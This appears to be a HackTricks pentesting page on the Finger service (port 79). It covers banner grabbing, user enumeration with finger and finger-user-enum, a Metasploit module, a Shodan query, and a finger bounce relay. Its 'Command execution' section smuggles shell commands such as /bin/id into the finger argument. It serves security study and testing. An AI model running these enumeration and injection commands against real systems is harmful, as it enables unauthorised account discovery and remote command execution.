# 79 - Pentesting Finger {% hint style="success" %} Learn & practice AWS Hacking:

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**Instantly available setup for vulnerability assessment & penetration testing**. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## **Basic Info** The **Finger** program/service is utilized for retrieving details about computer users. Typically, the information provided includes the **user's login name, full name**, and, in some cases, additional details. These extra details could encompass the office location and phone number (if available), the time the user logged in, the period of inactivity (idle time), the last instance mail was read by the user, and the contents of the user's plan and project files. **Default port:** 79 ``` PORT STATE SERVICE 79/tcp open finger ``` ## **Enumeration** ### **Banner Grabbing/Basic connection** ```bash nc -vn 79 echo "root" | nc -vn 79 ``` ### **User enumeration** ```bash finger @ #List users finger admin@ #Get info of user finger user@ #Get info of user ``` Alternatively you can use **finger-user-enum** from [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), some examples: ```bash finger-user-enum.pl -U users.txt -t 10.0.0.1 finger-user-enum.pl -u root -t 10.0.0.1 finger-user-enum.pl -U users.txt -T ips.txt ``` #### **Nmap execute a script for doing using default scripts** ### Metasploit uses more tricks than Nmap ``` use auxiliary/scanner/finger/finger_users ``` ### Shodan * `port:79 USER` ## Command execution ```bash finger "|/bin/id@example.com" finger "|/bin/ls -a /@example.com" ``` ## Finger Bounce [Use a system as a finger relay](https://securiteam.com/exploits/2BUQ2RFQ0I/) ``` finger user@host@victim finger @internal@external ```

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